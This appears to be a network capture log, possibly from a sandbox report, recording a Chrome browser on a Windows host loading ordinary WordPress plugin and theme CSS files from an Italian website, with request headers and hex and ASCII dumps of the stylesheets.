======================================================================================================================================================Video===============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49773	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:20 UTC	605	OUT	GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:21 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:20 GMT Content-Type: text/css Content-Length: 46555 Connection: close Vary: Accept-Encoding Last-Modified: Wed, 20 Nov 2024 02:52:50 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:21 UTC	16091	IN	Data Raw: 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 7b 77 69 64 74 68 3a 20 31 30 30 25 3b 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 20 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 63 6c 65 61 72 3a 20 62 6f 74 68 3b 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 66 69 78 65 64 5f 68 65 69 67 68 74 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a Data Ascii: #sb_instagram {width: 100%;margin: 0 auto;padding: 0;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;}#sb_instagram:after{content: "";display: table;clear: both;}#sb_instagram.sbi_fixed_height{overflow: hidden;overflow-y:
2025-01-09 12:19:21 UTC	16384	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 7d 40 6d 65 64 69 61 20 61 6c 6c 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 7b 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 63 6f 6c 5f 33 20 23 73 62 69 5f 69 6d 61 67 65 73 2c 20 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 63 6f 6c 5f 34 20 23 73 62 69 5f 69 6d 61 67 65 73 2c 20 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 63 6f 6c 5f 35 20 23 73 62 69 5f 69 6d 61 67 65 73 2c 20 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 63 6f 6c 5f 36 20 23 73 62 69 5f 69 6d 61 67 65 73 20 7b 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 63 6f 6c 75 6d 6e 73 3a 20 72 65 70 65 61 74 28 32 2c 20 31 66 72 29 3b 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 63 Data Ascii: nt-size: 12px;}@media all and (max-width: 640px){#sb_instagram.sbi_col_3 #sbi_images, #sb_instagram.sbi_col_4 #sbi_images, #sb_instagram.sbi_col_5 #sbi_images, #sb_instagram.sbi_col_6 #sbi_images {grid-template-columns: repeat(2, 1fr);}#sb_instagram.sbi_c
2025-01-09 12:19:21 UTC	14080	IN	Data Raw: 6e 74 65 72 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 73 62 2d 65 6c 65 6d 65 6e 74 6f 72 2d 63 74 61 2d 69 6d 67 2d 63 74 6e 20 7b 77 69 64 74 68 3a 20 31 30 30 25 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 6f 61 74 3a 20 6c 65 66 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 Data Ascii: nter !important;}.sb-elementor-cta-img-ctn {width: 100% !important;position: relative !important;float: left !important;display: flex !important;justify-content: center !important;align-items: center !important;margin-top: 50px !important;margin-bottom: 3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49775	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:20 UTC	628	OUT	GET /wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-public.css?ver=3.0.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:21 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:21 GMT Content-Type: text/css Content-Length: 3106 Connection: close Vary: Accept-Encoding Last-Modified: Fri, 25 Nov 2022 09:48:11 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:21 UTC	3106	IN	Data Raw: 23 63 6f 6f 6b 69 65 2d 6c 61 77 2d 69 6e 66 6f 2d 62 61 72 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 32 70 78 20 31 30 70 78 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0a 09 2f 2a 20 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 29 20 30 70 78 20 35 70 78 20 35 30 70 78 3b 20 2a 2f 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 6c 65 66 74 3a 30 70 78 3b 0a 09 66 6f 6e 74 2d Data Ascii: #cookie-law-info-bar {font-size: 15px;margin: 0 auto;padding: 12px 10px;position: absolute;text-align: center;box-sizing: border-box;width:100%;z-index: 9999;/* box-shadow:rgba(0,0,0,.5) 0px 5px 50px; */display: none;left:0px;font-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49776	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:20 UTC	626	OUT	GET /wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-gdpr.css?ver=3.0.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:21 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:21 GMT Content-Type: text/css Content-Length: 27249 Connection: close Vary: Accept-Encoding Last-Modified: Fri, 25 Nov 2022 09:48:11 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:21 UTC	16091	IN	Data Raw: 2e 67 64 70 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 7d 0a 2e 67 64 70 72 2d 72 6f 77 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 09 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0a 09 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0a 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2d 31 35 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 31 35 70 Data Ascii: .gdpr-container-fluid {width: 100%;padding-right: 15px;padding-left: 15px;margin-right: auto;margin-left: auto;}.gdpr-row {display: -ms-flexbox;display: flex;-ms-flex-wrap: wrap;flex-wrap: wrap;margin-right: -15px;margin-left: -15p
2025-01-09 12:19:21 UTC	11158	IN	Data Raw: 32 61 32 61 32 61 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 70 61 64 64 69 6e 67 3a 20 2e 35 72 65 6d 20 31 72 65 6d 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 32 35 72 65 6d 3b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 0a 7d 0a 2e 63 6c 69 2d 6e 61 76 2d 70 69 6c 6c 73 20 2e 63 6c 69 2d 6e 61 76 2d 6c 69 6e 6b 2e 63 6c 69 2d 61 63 74 69 76 65 2c 20 2e 63 6c 69 2d 6e 61 76 2d 70 69 6c 6c 73 20 2e 63 6c 69 2d 73 68 6f 77 3e 2e 63 6c 69 2d 6e 61 76 2d 6c 69 6e 6b 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 36 66 36 66 39 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 63 63 63 3b 0a 7d 0a 2e 63 6c 69 2d 6e 61 Data Ascii: 2a2a2a;font-size: 14px;display: block;padding: .5rem 1rem;border-radius: .25rem;cursor: pointer}.cli-nav-pills .cli-nav-link.cli-active, .cli-nav-pills .cli-show>.cli-nav-link {background-color: #f6f6f9;border: 1px solid #cccccc;}.cli-na

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49777	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:21 UTC	652	OUT	GET /wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-list-horizontal/style.css?ver=1 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:21 UTC	291	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:21 GMT Content-Type: text/css Content-Length: 851 Connection: close Vary: Accept-Encoding Last-Modified: Thu, 10 Dec 2020 02:53:35 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:21 UTC	851	IN	Data Raw: 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 6c 69 73 74 2d 68 6f 72 69 7a 6f 6e 74 61 6c 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 61 64 64 69 6e 67 3a 37 70 78 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 6c 69 73 74 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3e 75 6c 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 7d 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 6c 69 73 74 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 77 70 6d 6c 2d 6c 73 2d 69 74 65 6d 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 Data Ascii: .wpml-ls-legacy-list-horizontal{border:1px solid transparent;padding:7px;clear:both}.wpml-ls-legacy-list-horizontal>ul{padding:0;margin:0 !important;list-style-type:none}.wpml-ls-legacy-list-horizontal .wpml-ls-item{padding:0;margin:0;list-style-type:none

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49778	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:21 UTC	596	OUT	GET /wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:21 UTC	291	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:21 GMT Content-Type: text/css Content-Length: 809 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:21 UTC	809	IN	Data Raw: 2e 61 76 69 61 5f 77 70 6d 6c 5f 6c 61 6e 67 75 61 67 65 5f 73 77 69 74 63 68 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 70 61 64 64 69 6e 67 3a 20 30 70 78 20 30 20 30 20 31 30 70 78 3b 0a 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 36 70 78 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 30 3b 0a 7a 2d 69 6e 64 65 78 3a 20 31 35 31 3b 0a 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 74 6f 70 3a 2d 32 70 78 3b 0a 72 69 67 68 74 3a 30 3b 0a 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 0a 2e 73 75 62 5f 6d 65 6e 75 20 75 6c 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 0a 0a 23 74 6f 70 20 75 6c 2e 61 76 69 61 5f 77 70 Data Ascii: .avia_wpml_language_switch {position: relative;padding: 0px 0 0 10px;height: 30px;line-height: 36px;margin: 0 0 0 0;z-index: 151;-webkit-backface-visibility: hidden;top:-2px;right:0;overflow: hidden;}.sub_menu ul{float:left;}#top ul.avia_wp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49779	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:21 UTC	590	OUT	GET /wp-content/themes/enfold/css/shortcodes.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:21 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:21 GMT Content-Type: text/css Content-Length: 32116 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:21 UTC	16091	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 47 45 4e 45 52 49 43 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================GENERIC=============================================================================================
2025-01-09 12:19:21 UTC	16025	IN	Data Raw: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 20 0a 20 23 74 6f 70 20 2e 61 76 2d 74 6f 67 67 6c 65 2d 73 77 69 74 63 68 7b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 09 0a 6f 70 61 63 69 74 79 3a 20 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 20 0a 0a 20 20 0a 23 74 6f 70 20 2e 61 76 2d 74 6f 67 67 6c 65 2d 73 77 69 74 63 68 2e 61 63 74 69 76 65 7b 09 0a 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 61 76 69 61 2d 66 61 64 65 69 6e 20 31 73 20 31 20 65 61 73 65 2d 69 6e 3b 20 Data Ascii: ======================================================== */ #top .av-toggle-switch{display: block; margin-bottom: 10px; margin-top:10px;opacity: 0;text-align: left;} #top .av-toggle-switch.active{-webkit-animation: avia-fadein 1s 1 ease-in;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49780	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:21 UTC	603	OUT	GET /wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:22 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:22 GMT Content-Type: text/css Content-Length: 6948 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:17:10 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:22 UTC	6948	IN	Data Raw: 2f 2a 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 43 53 53 20 2a 2f 0a 2e 6d 66 70 2d 62 67 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 32 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 30 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 3b 20 7d 0a 0a 2e 6d 66 70 2d 77 72 61 70 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 Data Ascii: /* Magnific Popup CSS */.mfp-bg { top: 0; left: 0; width: 100%; height: 100%; z-index: 1042; overflow: hidden; position: fixed; background: #000; opacity: 0.8; }.mfp-wrap { top: 0; left: 0; width: 100%; height: 100%; z-index

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49781	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:21 UTC	601	OUT	GET /wp-content/themes/enfold/css/avia-snippet-lightbox.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:22 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:22 GMT Content-Type: text/css Content-Length: 3639 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:22 UTC	3639	IN	Data Raw: 2f 2a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6c 69 67 68 74 62 6f 78 20 65 6e 68 61 6e 63 65 6d 65 6e 74 73 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 0a 0a 2f 2a 20 0a 0a 2e 6d 66 70 2d 66 69 67 75 72 65 20 2d 20 63 6f 6e 74 61 69 6e 65 72 20 74 68 61 74 20 68 6f 6c 64 73 20 69 6d 61 67 65 20 61 6e 64 20 63 61 70 74 69 6f 6e 0a 2e 6d 66 70 2d 62 67 20 20 20 20 20 2d 20 62 6c 61 63 6b 20 6f 76 65 72 6c 61 79 0a 2e 6d 66 70 2d 70 72 65 6c 6f 61 64 65 72 20 2d 20 22 4c 6f 61 64 69 6e 67 2e 2e 2e 22 20 69 6e 63 64 69 63 61 74 6f 72 0a 0a 2a 2f 0a 2e 6d 66 70 2d 72 65 61 64 79 20 2e 6d 66 70 2d 66 69 67 75 72 65 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 7d 0a 0a 64 69 76 20 2e 6d 66 70 2d 74 69 74 6c 65 7b 0a 09 6c 69 Data Ascii: /--------------------lightbox enhancements---------------//* .mfp-figure - container that holds image and caption.mfp-bg - black overlay.mfp-preloader - "Loading..." incdicator*/.mfp-ready .mfp-figure { opacity: 0;}div .mfp-title{li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49782	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:22 UTC	599	OUT	GET /wp-content/themes/enfold/css/avia-snippet-widget.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
